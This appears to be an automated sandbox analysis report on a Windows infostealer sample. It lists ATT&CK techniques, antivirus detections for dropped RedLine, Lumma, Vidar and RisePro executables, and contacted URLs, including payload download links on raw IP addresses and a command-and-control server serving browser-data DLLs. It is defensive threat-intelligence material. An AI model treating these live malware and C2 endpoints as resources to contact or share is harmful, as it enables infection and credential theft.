Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Native API	1 Scheduled Task/Job	612 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	11 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	47 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	371 Security Software Discovery	SSH	11 Input Capture	123 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	612 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BRWgvKaqbg.exe	40%	Virustotal		Browse
BRWgvKaqbg.exe	63%	ReversingLabs	Win32.Trojan.RedLine
BRWgvKaqbg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	79%	ReversingLabs	Win32.Spyware.Lummastealer
C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	62%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe	58%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	79%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe	62%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe	58%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe	58%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe	62%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	79%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe	63%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	62%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	79%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	58%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	63%	ReversingLabs	Win32.Trojan.RedLine

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ipinfo.io	0%	Virustotal	Browse
t.me	0%	Virustotal	Browse
db-ip.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ip.sb/ip	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199707802586hellosqlt.dllsqlite3.dll	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://49.13.33.235:9000/msvcp140.dllA	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/msvcp140.dllJ	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://49.13.33.235:9000/msvcp140.dllD	0%	Avira URL Cloud	safe
https://db-ip.com/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://49.13.33.235:9000/al	0%	Avira URL Cloud	safe
http://5.42.67.8/vidar2606.exe3	100%	Avira URL Cloud	phishing
https://db-ip.com/	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199707802586hellosqlt.dllsqlite3.dll	0%	Virustotal		Browse
https://t.me/risepro	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://t.me/risepro	0%	Virustotal		Browse
https://49.13.33.235:9000/vcruntime140.dllt	0%	Avira URL Cloud	safe
http://5.42.67.8/lumma2606.exe	100%	Avira URL Cloud	phishing
http://5.42.67.8/vidar2606.exea	100%	Avira URL Cloud	phishing
http://5.42.67.8/meta2606.exev	100%	Avira URL Cloud	phishing
http://ns.exif/1	0%	Avira URL Cloud	safe
https://49.13.33.235:9000	0%	Avira URL Cloud	safe
https://discord.com/api/v9/users/	0%	Avira URL Cloud	safe
https://t.me/risepro_botisepro_bot	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT&nd	0%	Avira URL Cloud	safe
http://5.42.67.8/lumma2606.exe	18%	Virustotal		Browse
https://49.13.33.235:9000	12%	Virustotal		Browse
http://5.42.67.8/vidar2606.exe_	100%	Avira URL Cloud	phishing
https://49.13.33.235:9000/mozglue.dllt	0%	Avira URL Cloud	safe
https://discord.com/api/v9/users/	0%	Virustotal		Browse
https://49.13.33.235:9000/softokn3.dllf	0%	Avira URL Cloud	safe
http://5.42.67.8/rise2606.exeNp	100%	Avira URL Cloud	phishing
https://t.me/risepro_botisepro_bot	0%	Virustotal		Browse
https://49.13.33.235:9000/mozglue.dll_	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/mozglue.dllc	0%	Avira URL Cloud	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/softokn3.dllf	1%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://ipinfo.io/I	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/d7b7frosoft	0%	Avira URL Cloud	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://t.me/risepro_botlater3	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Virustotal		Browse
https://49.13.33.235/0	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/	0%	Avira URL Cloud	safe
https://ipinfo.io/=	0%	Avira URL Cloud	safe
https://www.maxmind.com/en/locate-my-ip-address	0%	Avira URL Cloud	safe
https://t.me/risepro_botlater3	0%	Virustotal		Browse
https://db-ip.com/x	0%	Avira URL Cloud	safe
http://5.42.67.8/meta2606.exe	100%	Avira URL Cloud	phishing
https://49.13.33.235:9000/	12%	Virustotal		Browse
https://49.13.33.235/0	13%	Virustotal		Browse
https://ipinfo.io/I	0%	Virustotal		Browse
https://ipinfo.io/=	0%	Virustotal		Browse
https://ipinfo.io/widget/demo/8.46.123.33?G	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://www.maxmind.com/en/locate-my-ip-address	0%	Virustotal		Browse
https://49.13.33.235/N	0%	Avira URL Cloud	safe
http://5.42.67.8/meta2606.exe	18%	Virustotal		Browse
https://49.13.33.235:9000/sqlt.dllb	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.33J	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
https://t.me/	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/B	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/D	0%	Avira URL Cloud	safe
https://db-ip.com/x	0%	Virustotal		Browse
https://49.13.33.235:9000/vcruntime140.dllppet	0%	Avira URL Cloud	safe
https://web.telegram.org	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/freebl3.dll	0%	Avira URL Cloud	safe
https://49.13.33.235:9000tel	0%	Avira URL Cloud	safe
https://db-ip.com/1	0%	Avira URL Cloud	safe
https://api.ip.s	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/freebl3.dll-	0%	Avira URL Cloud	safe
https://49.13.33.235:9000aming	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/nss3.dllsoft	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/vcruntime140.dll	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.33j	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.33	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/sqlt.dll	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/nss3.dll	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/softokn3.dll	0%	Avira URL Cloud	safe
https://t.me/g067nry1neMozilla/5.0	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/vcruntime140.dllH	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/mozglue.dll	0%	Avira URL Cloud	safe
https://49.13.33.235:9000/nss3.dlldll	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://5.42.67.8/lumma2606.exep	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false	0%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
db-ip.com	104.26.4.15	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://5.42.67.8/lumma2606.exe	true	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ipinfo.io/	false	URL Reputation: safe	unknown
http://5.42.67.8/meta2606.exe	true	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ipinfo.io/widget/demo/8.46.123.33	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/vidar2606.exe	true	Avira URL Cloud: phishing	unknown
http://5.42.67.8/rise2606.exe	true	Avira URL Cloud: phishing	unknown
https://steamcommunity.com/profiles/76561199707802586	true	Avira URL Cloud: malware	unknown
https://t.me/g067n	true	Avira URL Cloud: malware	unknown
https://db-ip.com/demo/home.php?s=8.46.123.33	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/msvcp140.dllA	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/msvcp140.dllJ	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199707802586hellosqlt.dllsqlite3.dll	pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/msvcp140.dllD	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com/	RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/al	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/vidar2606.exe3	RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://t.me/risepro	RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dllt	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/vidar2606.exea	RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ns.exif/1	RegAsm.exe, 00000002.00000002.2358106587.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/meta2606.exev	RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://49.13.33.235:9000	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://discord.com/api/v9/users/	RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/risepro_botisepro_bot	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT&nd	RegAsm.exe, 00000028.00000002.3774884245.00000000015BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/vidar2606.exe_	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://49.13.33.235:9000/mozglue.dllt	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/softokn3.dllf	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://5.42.67.8/rise2606.exeNp	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://49.13.33.235:9000/mozglue.dll_	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/mozglue.dllc	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io/I	RegAsm.exe, 00000002.00000002.2359052796.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	RegAsm.exe, 00000013.00000002.4253708166.000000000112A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3774884245.00000000015BA000.00000004.00000020.00020000.00000000.sdmp, ZAu2iiJBgBZikoF1oNNHtbO.zip.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	URL Reputation: safe	unknown
https://49.13.33.235:9000/d7b7frosoft	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_botlater3	RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235/0	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/	RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io/=	RegAsm.exe, 00000028.00000002.3774884245.00000000015FD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.maxmind.com/en/locate-my-ip-address	RegAsm.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/x	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.33?G	RegAsm.exe, 00000013.00000002.4254155191.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	Avira URL Cloud: safe	unknown
https://49.13.33.235/N	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/sqlt.dllb	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.33J	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/	RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/B	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/D	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dllppet	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/freebl3.dll	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000tel	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com/1	RegAsm.exe, 00000013.00000002.4254155191.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.s	RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	URL Reputation: safe	unknown
https://49.13.33.235:9000/freebl3.dll-	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000aming	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/nss3.dllsoft	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dll	RegAsm.exe, 0000002B.00000002.4567061171.000000000043F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000445000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.33j	RegAsm.exe, 00000013.00000002.4253708166.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
